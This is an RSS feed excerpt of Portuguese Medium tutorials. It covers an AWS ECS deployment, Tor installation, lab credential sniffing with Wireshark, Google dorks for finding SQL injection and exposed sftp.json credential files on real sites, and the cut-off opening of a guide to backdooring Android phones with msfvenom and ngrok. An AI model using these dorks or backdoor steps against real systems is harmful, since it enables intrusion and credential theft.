src="https://cdn-images-1.medium.com/max/487/1*_kphnyxUoeJRhJiAl6oqpg.png" /></figure><p>Vamos dar um nome para nosso repositório, nesse caso, nossa api, vai se chamar api-monolitica.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KEjz5qu2AM5WFlA3LmET6Q.png" /></figure><p>Então colocou o nome, próximo passo. Ele vai colocar sempre que você criar um repositório, essas opções aqui para você fazer o push da imagem. Então a ideia é que a gente jogue imagem para lá.</p><p>Clique em <em>View push commands</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cSyRYoGScV17QnBpg2nxOQ.png" /></figure><p>Então a ideia é, vamos seguir a sequência aqui, o primeiro passo é fazer login. Lembrando que para você fazer login, tem que ter aquela conta lá na AWS e tudo mais. Se tiver dúvida, dá uma olhada lá nos cursos anteriores. Só criar uma chave de acesso.</p><p>Então, eu copiei isso aqui. Vou fazer o login. Ele vai pegar as credenciais, ele faz um get nessas credenciais. Deixa eu copiar isso aqui, e eu colo aqui embaixo. Quando eu colo e dou “Enter”, aí, sim, eu estou fazendo o login. Olha lá, login perfeito. Então, beleza.</p><p>Qual é o passo 4? Remarcar a imagem e colocar uma tag nela. Então eu vou copiar essa linha e vou fazer uma pequena alteração. Colei e o que que acontece? A tag está aqui, Option. Eu vou marcar a minha imagem que eu já fiz o pull anteriormente, “rmerces/api-monolitica”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GPtgB2l9xB50p8jFpQqNoA.png" /></figure><pre>docker tag rmerces/api-monolitica:latest....</pre><p>Depois a ideia e dar um <em>Push</em> para enviar a imagem para nosso repositório criado.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/623/1*JNJKPGHSbmyb7vkdT8ZtOg.png" /></figure><p>A ideia e que ele envie a nossa imagem para o repositório que criamos no ECR. Como podemos visualizar logo a baixo conseguimos enviar nossa imagem com sucesso para o ECR</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/621/1*7X9qgxNXHhc4n6JtfYgsfQ.png" /></figure><h4>Subindo nossa aplicação no ECS.</h4><p>Então, olha só. Esse daqui é o meu endereço da minha imagem, certo? Eu já vou copiar isso daqui, copiei, e você vai entender porquê. Então vamos fazer o seguinte, vamos criar a nossa <em>Task.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tsuaZ9Py-J9UCfagG9D30A.png" /></figure><p>Então vamos criar a Task que vai setar os parâmetros do nosso Container. Então, eu venho aqui, criar uma Task Definitions, e olha aqui o que que ele mostrou para a gente: Fargate e o EC2, aquelas tecnologias que você já aprendeu. Eu vou usar o EC2.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*HQJdV_fbuPTzcqAL_K1h6w.png" /></figure><p>A gente vai escolher a opção ec2 para ela criar dentro de nosso Cluster</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/916/1*vgDNZw3qBwZ_l3rbmtULkQ.png" /></figure><p>“Next” e aqui a gente vai preencher. Task Definition, eu vou chamar de “api-monolitica-cluster”. Task Role aqui, vou usar a que já foi criada anteriormente. A rede vai ser “Bridge”. Não vou preencher mais nada aqui.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*0GfnSsGRhyCckyZgJ8lqjg.png" /></figure><p>Vamos lá, Container Definitions, adicionar o Container. Eu posso pegar uma imagem de qualquer repositório. Como nós temos o nosso repositório, olha quem vem aqui: a nossa imagem do próprio repositório lá do ECR.</p><p>Cliquei no <em>Add Container</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LfidvUUvi1NPLslPqAA6PA.png" /></figure><p>Coloquei o nome da minha task e colei o link da nossa imagem.</p><p>Então está aqui o link para nossa imagem. Para ficar bonitinho, latest, pronto. Mas não precisaria. O nome do Container, api-monolitica. Limite, ele dá essas opções para gente.</p><p>Eu posso dizer que esse Container aqui já fica reservado 256 de memória. Eu vou fazer o mapeamento da porta. A gente vai mapear a nossa aplicação que funciona na porta 3000.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6lQZCHguIR4Y23UALgSPEw.png" /></figure><p>Se você estivesse na linha de comandos, você iria dar o Docker, menos p3000, dois pontos 3000. Aqui, eu só vou preencher a porta do Container. “Por que, Ricardo?” Para que ele possa fazer o mapeamento dinâmico.</p><p>Isso é um recurso que a gente vai precisar, ele está escrito aqui, quando a gente vai usar o Load Balance. Então, nesse exemplo eu vou usar só aqui a porta do Container 3000.</p><p>Agora apertar em Create.</p><p>Agora iremos voltar em Task Definitions e vocês iram notar que nossa task foi criada com sucesso. Agora iremos rodar.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gITZKDdH5Ni65dpgiUw9ew.png" /></figure><p>Marque a opção ec2 e depois marque nosso Cluster de criação. Depois clique em continuar para ela ser inicializada.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZnYVWsBUx6eeaBEvq5tdfA.png" /></figure><p>Então eu dou um “Reload” aqui, e ela já está rodando. Vamos fazer um teste? Vamos acessar direto a aplicação só para gente verificar o funcionamento.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/753/1*2_pMKbpn4VWJUoPt4dzBvA.png" /></figure><p>Agora iremos visualizar como nosso task foi criada.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/668/1*L7P18ns7ihKFz4ZmGx1ZKA.png" /></figure><p>Agora vemos algumas informações, e repare la em baixo em External Link, podemos visualizar nosso ip. Se copiarmos esse ip, e colocar me nosso navegador perceba que ele não ira vai funcionar.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S5m5AL3lQGamaxyu4soaXg.png" /></figure><p>Quando eu mandei acessar esse IP nessa porta, eu preciso de uma regra. Eu preciso autorizar isso no meu firewall, lá no Security Group. E o meu firewall não está autorizando essa porta aqui.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TidoXbxYxHu04R4gclBCXQ.png" /></figure><p>Então eu vou criar uma regra temporária para a gente autorizar só esse teste aqui. Então, vamos lá para o EC2.</p><p>Eu vou abrir o <em>EC2.</em> Aqui dentro no <em>Security Group</em>, esse grupo aqui é o que está associado ao nosso Cluster, então eu venho nele. Vamos aumentar aqui, Inbound, olha a regrinha que existe.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/796/1*B22j31hVbBnh7oba95Vrqw.png" /></figure><p>Vamos selecionar o Grupo que nosso Cluster e nossas ec2 estão criadas.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/737/1*Yl8h1Itr_dfJ_76Sxlcqnw.png" /></figure><p>Existe só uma regra de porta 80 para everyone, ou seja, para qualquer acesso aqui vindo da internet. O que que eu faço? Editar, essa regra é só de teste, não vou deixar ela gravada, só para te mostrar.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bVAi7C4PPyFWSkpnTKHHPA.png" /></figure><p>Então, eu venho aqui, um All TCP para não ficar escrevendo a porta, All TCP, qualquer porta. Origem, não vou deixar todo mundo, eu vou botar só o meu IP que está associado no momento. Até na descrição apagar, teste, que eu não deixo essas regras rodando.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yASMlWPK4-V3nKydXEMNyw.png" /></figure><p>Com que recurso? Em um Cluster, com instâncias lá redundante, como a gente já viu. Então está tudo rodando. Só que ainda não está automatizado, porque eu não sei o nosso serviço. Isso é cena dos próximos capítulos. A gente só criou a Task e fez o teste manual.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kkjh46sS0zWbyROWFXTj0g.png" /></figure><p>Como podemos visualizar nosso API-MONOLITICA esta funcionando em nosso Cluster EC2.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3q3CbwSyILGQQ9GvL3XN3Q.png" /></figure><h3>Configurando Serviço LoadBalance</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h06CzVKJbGzosESc-fWUeQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Rro3P8epD8a5s-UiliFT_Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/839/1*9zahhCEzvXigvfw7FW23MQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Rhq0NxOJZfFyvBWFThDtpw.png" /></figure><p>Obrigado!</p><p><a href="https://www.linkedin.com/in/murilohenriquegomes/">Linkedin</a> | <a href="https://github.com/murilothink">GitHub</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*_nQp5qBTJ7dBtzy8.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=df7fd7bc519c" width="1" height="1" alt=""><hr><p><a href="https://medium.com/devshift/amazon-ecs-gerencie-docker-na-nuvem-da-aws-df7fd7bc519c">Amazon ECS: Gerencie Docker na Nuvem da AWS.</a> was originally published in <a href="https://medium.com/devshift">devshift</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Instalando o Tor Browser no Kali Linux]]></title>
            <link>https://medium.com/@murilothink/instalando-o-tor-browser-no-kali-linux-cd74f331eb55?source=rss-93de4ef7e958------2</link>
            <guid isPermaLink="false">https://medium.com/p/cd74f331eb55</guid>
            <category><![CDATA[google]]></category>
            <category><![CDATA[tor-browser]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[installation]]></category>
            <category><![CDATA[kali-linux]]></category>
            <dc:creator><![CDATA[Murilo Henrique]]></dc:creator>
            <pubDate>Sat, 02 Nov 2019 19:00:54 GMT</pubDate>
            <atom:updated>2019-11-02T19:08:30.156Z</atom:updated>
            <content:encoded><![CDATA[<p>Muita gente tem duvida sobre como instalar o Tor Browser no Linux e hoje eu irei estar mostrando como instalar.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/783/0*knxfGrMK8j99Oigt" /></figure><p>Entre na pagina Oficial do Tor Browser e vamos clicar no Pinguim para fazer o download.</p><p>Pagina: <a href="https://www.torproject.org/download/">https://www.torproject.org/download/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NsrLK1j_CsgeeRPRqeu0PA.png" /></figure><p>Próximo passo é extrair o arquivo</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fA49_mxktynpQ6CMR35IhQ.png" /></figure><p>Caso dê erro, tente manualmente.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HwmRpW4EQ9HhNsxxumUH3g.png" /></figure><p>Agora precisamos fazer algumas configurações no arquivo de instalação no meu caso é</p><blockquote>nano /root/Download/tor-browser-linux64–9.0_en-US/tor-browser-en-US/Browser/start-to-browser</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t4USPJxN4pIVoyjV0a30jQ.png" /></figure><p>Agora procure por pelo codigo escrito na imagem e logo depois disso edite o número 0 e coloque 1</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/1*2K9BBQt1cGxqmK4j57lwcw.png" /></figure><p>Agora para abrir o Tor iremos utilizar o seguinte comando.</p><p>./start-tor-browser.desktop</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/914/1*uY1VvQLtrluCWQNZT7m5kA.png" /></figure><p>Esse comando irá abrir o Tor</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G26i21vi0eWcxneWFT2CDw.png" /></figure><p>Observação esse comando ./start-tor-browser.desktop você vai utilizar toda vez que querer abrir o Tor, ou seja você vai ter que entrar dentro do diretório e rodar o comando para abir, você também pode renomear para ficar mais fácil.</p><p>Para mudar de nome use:</p><p>mv ./start-tor-browser.desktop [NomeDesejado.desktop]</p><p>Sobre Murilo Henrique: <a href="https://github.com/murilothink">GitHub</a> | <a href="https://www.linkedin.com/in/murilohenriquegomes/">LinkedIn</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cd74f331eb55" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Wireshark: Capturando pacotes de Login e Senha do TELNET e HTTP com Wireshark]]></title>
            <link>https://medium.com/tavernalinux/wireshark-capturando-pacotes-de-login-e-senha-do-telnet-e-http-com-wireshark-3180f7bd2f9?source=rss-93de4ef7e958------2</link>
            <guid isPermaLink="false">https://medium.com/p/3180f7bd2f9</guid>
            <category><![CDATA[kali-linux]]></category>
            <category><![CDATA[segurança]]></category>
            <category><![CDATA[talent]]></category>
            <category><![CDATA[warishark]]></category>
            <category><![CDATA[google]]></category>
            <dc:creator><![CDATA[Murilo Henrique]]></dc:creator>
            <pubDate>Thu, 31 Oct 2019 14:27:59 GMT</pubDate>
            <atom:updated>2019-10-31T14:27:59.413Z</atom:updated>
            <content:encoded><![CDATA[<h3>Wireshark: Capturando pacotes de Login e Senha do TELNET e HTTP</h3><blockquote>O Wireshark é um programa que analisa o tráfego de rede, e o organiza por protocolos. As funcionalidades do <a href="http://bit.ly/2ptMBXQ">Wireshark</a> são parecidas com o <a href="http://bit.ly/34crzeW">tcpdump</a> mas com uma interface gráfica, com mais informação e com a possibilidade da utilização de filtros.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3ZDfMHX7H04_5ou3dhMs5A.jpeg" /><figcaption>image by <strong>Wireshark: Malware and Forensics</strong> on <a href="http://bit.ly/34sirmP"><strong>LinkedIn Learning</strong></a></figcaption></figure><p>Ei, você já deve ter ouvido falar ou já conhece o <a href="http://bit.ly/2ptMBXQ"><strong>Wireshark</strong></a>, hoje eu irei falar um pouco dessa ferramenta e demonstrar na pratica como capturar pacotes na sua rede. Esse artigo irei mostrar 2 cenários em que irei usar para capturar pacotes do <a href="http://bit.ly/2NrqbOW"><strong>Telnet</strong></a>, sendo eles, Login e senha do usuário realizando Login.</p><p>E na segunda demonstração irei utilizar o <a href="https://tavernalinux.com/tagged/kali-linux"><strong>Kali Linux</strong></a> em minha rede para capturar pacotes do tipo usuário e senha de uma pagina HTTP (sem <a href="https://tavernalinux.com/tagged/criptografia">criptografia</a>).</p><blockquote>Eu tentei deixar os cenário o mais configurado possível para parecer real.</blockquote><h3>Cenário Telnet</h3><p>Nesse primeiro cenário irei capturar login e senha de um usuário realizando o acesso remoto no <em>telnet</em>.</p><blockquote>Lembrando que o Telnet não utiliza criptografia de pacotes e que hoje foi substituído pelo SSH que é mais seguro e usa criptografia.</blockquote><p>Para usar a ferramenta Wireshark eu usei um cenário um pouco complexo, mas você pode usar a ferramenta na rede da sua casa para capturar os pacotes, basta baixar a ferramenta na sua maquina <a href="http://bit.ly/335cpIb"><strong>Windows</strong> ou <strong>Linux</strong></a>. Porém, para demonstrar aqui, irei realizar um<em> Servidor Windows 2012 Active Directory</em> para habilitar o <em>telnet</em>. Um <a href="http://bit.ly/2JAYJgk"><strong>SuperScan</strong></a> Para listar as portas abertas e um Windows XP para realizar o acesso no <em>telnet</em>.</p><h4>Configurando o Telnet</h4><p>No servidor em <em>gerenciamento do computador &gt; grupos &gt; Telnet</em> irei habilitá-lo. Essa opção de grupo em meu servidor me permite criar usuários para acessar o <em>telnet</em>. Mas não irei me aprofundar para não ficar muito longo o nosso artigo.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/567/1*fZ9X5eULSUBsmByKmwlASg.png" /></figure><p><em>Coloque em forma automática.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/567/1*AXjMBSnAl_hFaxC810e9aA.png" /></figure><h4>Scan na rede.</h4><p>Para a gente poder fazer uma captura de pacote dedicado 100% ao <em>Telnet</em> é legal realizar um <em>scan</em> de portas na nossa rede para verifica se a portas abertas.</p><p>Irei utilizar o <em>SuperScan</em> para verificar a rede. Perceba que eu utilizei o IP do meu servidor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/567/1*jE35PcPmkz4zx28zzFQZzg.png" /></figure><p>Perceba que o nosso <em>Scan</em> <strong>encontrou a porta 23 e listou o Telnet</strong>. Isso quer dizer que a porta esta aberta e que nosso ataque irá dar certo.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/567/1*pPklMvQspwM1mieM8W5wvA.png" /></figure><h4>Abra o Wireshark</h4><p>Agora iremos abrir o Wireshark, repare que apareceu nossa placa de rede. A nossa placa de rede e a que recebe os nossos pacotes e para analisar esses pacotes precisamos escolher qual placa usar. Nesse caso eu irei utilizar a placa Eth0.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OEpCqEcCNYAaEM9nZFJ1Tw.png" /></figure><h4>Capturando o Login e senha do Telnet</h4><p>Agora usando uma maquina virtual <em>Windows XP</em> iremos conectar no <em>telnet</em> do servidor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/567/1*m2XxZPH890Y5shh178jAtg.png" /></figure><p>Perceba que conseguimos realizar o acesso no <em>Telnet</em> agora, bora ver se nossas informações passou pelo <em>Wireshark</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/567/1*MWQMc07PrGHKk6oObN9LOQ.png" /></figure><p>Encontrar o pacote certo não é uma tarefa fácil, você tem que garimpar todos os <em>Request, POTs, GET’s</em> para conseguir encontrar.</p><p>Veja só, consegui encontrar o nosso acesso no <em>Telnet</em>, Como vocês podem ver nosso usuário <em>00409171711038</em> e nossa senha <em>Teste123</em>.</p><p>Tomem cuidado, pois infelizmente os pacotes as vezes pode vim duplicado ou ate mesmo com “<em>Espaço</em>” entre as letras, mas pode dar uma boa ajuda para terminar de decifrar.</p><p><em>Veja a imagem:</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/567/1*_biVB7m9BYStrYY3-1ExmQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/567/1*VcJEX_G_xZLScfVm_EQiAA.png" /></figure><h4>Cenário HTTP</h4><p>Agora iremos utilizar um cenário bem simples que vai ser uma maquina Virtual <a href="https://tavernalinux.com/tagged/kali-linux"><strong>Kali Linux</strong></a> e irei capturar o acesso de uma pagina HTTP sem certificado de <a href="https://tavernalinux.com/tagged/seguran%C3%A7a">segurança</a>, ou seja, todos os pacotes que passar em minha rede, irei ter todo o acesso usando o Wireshark.</p><h4>Abra o Wireshark</h4><p>Agora iremos abrir o Wireshark, repare que apareceu nossa placa de rede. A nossa placa de rede e a que recebe os nossos pacotes e para analisar esses pacotes precisamos escolher qual placa usar. Nesse caso eu irei utilizar a <em>placa Eth0</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OEpCqEcCNYAaEM9nZFJ1Tw.png" /></figure><p>Iremos utilizar uma pagina com isca que a <a href="http://testphp.vulnweb.com/login.php"><em>testphp.vulnweb.com/login.php</em></a> para realizarmos nosso acesso.</p><p>Perceba na imagem abaixo que ela já nos da a senha para o acesso, a senha e o usuário como vocês podem ver é:</p><pre>usuário: teste<br>senha: test</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rKjAO3doN6RUu15-UAVA7g.png" /></figure><p>Agora iremos fazer login, e iremos analisar o pacote no Wireshark.</p><p>Ali em cima eu especifiquei como HTTP para ficar mais fácil de achar o pacote. Depois de procurar finalmente achei um POST com o pacote do usuário e senha que colocamos naquela pagina, perceba em amarelo.</p><pre>Uname=test<br>Pass=test</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pGA2twQnRuEKyh_rZHtC7w.png" /></figure><p>Após ter realizado o login e nossa pagina web, perceba que ela esta listando algumas informações e pedindo para gente atualizar. Agora, iremos finalizar capturando uma atualização da nossa pagina.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zYzLw3qidgHrSzlR4TTgxg.png" /></figure><p>Agora vamos clicar em <em>update </em>e ir no Wireshark visualizar o que ele capturou pra gente. Bom, depois de alguns minutinhos procurando, conseguimos achar o pacote da atualização.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I2qSHDIn0xoWXJ-dP6KgNw.png" /></figure><p>Bom galera, espero que vocês tenham gostado e percebido o quanto é fácil utilizar o Wireshark para capturar o pacote que passa em sua rede.</p><p>Infelizmente não são todos os pacotes que a gente consegue capturar informações, hoje a maioria dos pacotes são <a href="https://tavernalinux.com/tagged/criptografia"><strong>criptografados</strong></a>, mas ainda existe paginas HTTP e muita gente que não liga para <a href="https://tavernalinux.com/tagged/seguran%C3%A7a"><strong>segurança</strong></a>. Então bora começar a usar só pagina <a href="http://bit.ly/31ZeKTL">HTTPS</a> e <a href="https://tavernalinux.com/tagged/ssh">SSH</a>.</p><p>🐼 <a href="https://app.umbler.com/u/7kzvy7wj"><strong><em>U</em></strong><em>mbler</em></a> · <a href="http://bit.ly/afinal-o-que-%C3%A9-o-taverna-linux"><strong><em>CC BY-SA</em></strong></a><strong> </strong><em>· </em><a href="https://planeta.archlinux-br.org/"><strong><em>A</em></strong><em>rch Linux Brasil</em></a><em> · </em><a href="https://www.edivaldobrito.com.br/"><strong><em>B</em></strong><em>log do Edivaldo</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3180f7bd2f9" width="1" height="1" alt=""><hr><p><a href="https://medium.com/tavernalinux/wireshark-capturando-pacotes-de-login-e-senha-do-telnet-e-http-com-wireshark-3180f7bd2f9">Wireshark: Capturando pacotes de Login e Senha do TELNET e HTTP com Wireshark</a> was originally published in <a href="https://medium.com/tavernalinux">Taverna Linux</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Google Hacking Para Pentest]]></title>
            <link>https://medium.com/tavernalinux/google-hacking-para-pentest-61604f8f8122?source=rss-93de4ef7e958------2</link>
            <guid isPermaLink="false">https://medium.com/p/61604f8f8122</guid>
            <category><![CDATA[pentest]]></category>
            <category><![CDATA[google]]></category>
            <category><![CDATA[kali-linux]]></category>
            <category><![CDATA[segurança]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Murilo Henrique]]></dc:creator>
            <pubDate>Mon, 28 Oct 2019 14:56:01 GMT</pubDate>
            <atom:updated>2019-11-02T19:06:09.360Z</atom:updated>
            <content:encoded><![CDATA[<p><em>Essa linda ferramenta de busca tem um grande potencial que poucas pessoas conhecem, mas já é muito utilizado por hackers e pen-testers como uma técnica para encontrar vulnerabilidade na web.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*bgjUjoxTaj3429CN.jpg" /></figure><p>Hoje iremos falar um pouco sobre o <strong>Google </strong><a href="https://tavernalinux.com/search?q=Hacking"><strong>Hacking</strong></a> para as pessoas que nunca ouviram falar, nesse caso, o Google nos ajudará a encontrar falha de segurança através da ferramenta de buscas.</p><blockquote><strong>O conteúdo que se apresenta nesse artigo e destinado aos profissionais e estudantes de Segurança da Informação. Não nos responsabilizamos pelo maus uso das técnicas apresentadas.</strong></blockquote><h4>O que é Google Hacking?</h4><p>Todos nós utilizamos o Google para realizar uma pesquisa, procurar noticia, imagem, site e diversas outras coisas. O Google se tornou a maior ferramenta de busca da web, hoje praticamente todos já ouviram ou já pesquisaram algo no Google. Porém essa linda ferramenta de busca tem uma grande potencial que poucas pessoas conhece, mas já é muito utilizado por hackers e pen-testers como uma técnica para encontrar vulnerabilidade na web. Essa técnica é chamada de<em> Google Hacking </em>que nos ajuda a encontrar vulnerabilidades utilizando alguns parâmetros na hora de realizar uma pesquisa. Bora conhecer?</p><h3>Conhecendo a técnica</h3><h4>filetype</h4><p>O filetype é usado para você realizar a busca de algum arquivo, logo abaixo eu especifiquei o PDF para realizar PDF’s de edital. Perceba que o Google me trouxe vários editais que aconteceram em 2019</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/983/1*FF2_PL7NuwAZeA9gHn-GZA.png" /></figure><p>Eu posso realizar essa busca pedindo para o google localizar os aquivos de um determinado site</p><p><strong>Exemplo:</strong></p><p><em>facebook.com filetype pdf</em></p><h4>Related</h4><p>O comando <em>“related:”</em> mostra sites relacionados àquele que você digita na busca. Ao colocar o próprio endereço do Google, por exemplo, os resultados mostram outros sites de pesquisa como Bing e Ask.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/0*MxaTOekZ4qSx1ubZ.png" /></figure><h4>Intext</h4><p>Aproveite os comandos <em>“intext:”</em> e <em>“allintext:”</em> para fazer buscas por uma palavra ou por múltiplas palavras, respectivamente, no corpo do texto. Funciona de maneira bem similar ao item anterior.</p><h3>Procurando vulnerabilidade</h3><p>Legal, agora entendemos como o Google trabalha em suas buscas avançadas, esse foi um exemplo bem simples para que vocês possam entender daqui pra frente o que nós iremos fazer.</p><p>Agora imagina utilizar comandos chaves para buscar vulnerabilidade de sites e ainda listar os sites que estão com essas vulnerabilidades. Legal né? É o que iremos fazer agora.</p><pre>“nome do site” + inurl= index.php?id=1</pre><p>Logo abaixo utilizei apenas <em>inurl= index.php?id=1</em> para o google listar todos os sites que tem o <em>index.php</em>. Você pode também utilizar o<em> “nome do site” </em>como se fosse o seu site para encontrar vulnerabilidade.</p><p>Veja o numero que resultado que o Google me trouxe.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/863/1*e7QIEjSS1Go0S_E8adfoTg.png" /></figure><p>Em alguns minutos observando os sites listados já encontrei algumas vulnerabilidades como <em>SQL Injector</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ue8KTQHL4tke_rPQVCOedg.png" /></figure><p>Em outro site, consegui observar todos todos os <em>index</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/1*aQiZoCXniTWBg-kVXTfg-Q.png" /></figure><p>Usei outro método de busca avançadas, esse método buscará Arquivos contendo informações suculentas</p><pre>inurl: “/. vscode / sftp.json”</pre><p>Alguns minutos depois, encontrei umas informações de um site.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1007/1*wZ1qQEQgLi3z_yL-iu4IUQ.png" /></figure><h3>Listas de comandos</h3><p>Bom galera, isso foi apenas uma introdução que o Google não é apenas utilizado para buscar sites e conteúdo, ele também pode ser uma ótima fonte para encontrar vulnerabilidade do seu próprio site, Não iremos nós aprofundar, mas você pode encontrar muitos comandos para busca avançada. Irei disponibilizar um site alguns comandos.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H211kVxpEeTmklEwzVlP8A.png" /></figure><p><a href="https://github.com/murilothink">GitHub</a> |<a href="https://www.linkedin.com/in/murilohenriquegomes/"> LinkedIn </a>|</p><p><a href="https://app.umbler.com/u/7kzvy7wj">🐼</a> <a href="https://app.umbler.com/u/7kzvy7wj"><strong><em>U</em></strong><em>mbler</em></a> · <a href="http://bit.ly/afinal-o-que-%C3%A9-o-taverna-linux"><strong><em>CC BY-SA</em></strong></a><strong> </strong><em>· </em><a href="https://planeta.archlinux-br.org/"><strong><em>A</em></strong><em>rch Linux Brasil</em></a><em> · </em><a href="https://www.edivaldobrito.com.br/"><strong><em>B</em></strong><em>log do Edivaldo</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=61604f8f8122" width="1" height="1" alt=""><hr><p><a href="https://medium.com/tavernalinux/google-hacking-para-pentest-61604f8f8122">Google Hacking Para Pentest</a> was originally published in <a href="https://medium.com/tavernalinux">Taverna Linux</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Invadindo celular Android usando Msfvenom e Ngrok]]></title>
            <link>https://medium.com/devshift/invadindo-celular-android-usando-msfvenom-e-ngrok-f646e1e03798?source=rss-93de4ef7e958------2</link>
            <guid isPermaLink="false">https://medium.com/p/f646e1e03798</guid>
            <category><![CDATA[kali-linux]]></category>
            <category><![CDATA[msfconsole]]></category>
            <category><![CDATA[ngrok]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[python]]></category>
            <dc:creator><![CDATA[Murilo Henrique]]></dc:creator>
            <pubDate>Sat, 19 Oct 2019 18:42:52 GMT</pubDate>
            <atom:updated>2019-10-20T15:27:13.304Z</atom:updated>
            <content:encoded><![CDATA[<p><strong><em>O conteúdo que se apresenta nesse artigo e destinado aos profissionais e estudantes de Segurança da Informação. Não nos responsabilizamos pelo maus uso das técnicas apresentadas.</em></strong></p><p>Olá, neste artigo estarei abordando a criação Backdoor com o msfvenom de uma simples shell reversa com Metasploit Framework e Meterpreter, onde iremos criar um .apk infectado que quando executado na máquina da vítima, cria uma conexão reversa com nossa máquina nos dando permissões de administrador ao seu celular</p><p>Irei utilizar o ngrok para fazer um túnel de conexão sem eu ter que abrir portas do roteador para me conectar fora da rede externa.</p><p>Bora começar</p><p>Primeiramente iremos abrir o ngrok ( caso você não tenha, leia meu artigo anterior: <a href="https://medium.com/@murilothink/usando-ngrok-no-kali-linux-b7e2ce9e7062?source=---------3------------------">Usando Ngrok no kali linux</a> que eu explico como realizar o download)</p><pre>ngrok tcp 22</pre><p>Iremos ter que Utilizar o nosso FORWARDING TCP como o LHOST e o 12643 como LPORT</p><p>Lembrando que cada um tem o seu FORWARDING</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1003/1*rW6HQpsYXYMN2lJuPjMzfw.png" /></figure><p>Vamos criar e encodar o payload com o msfvenom, Estaremos utilizando um payload de 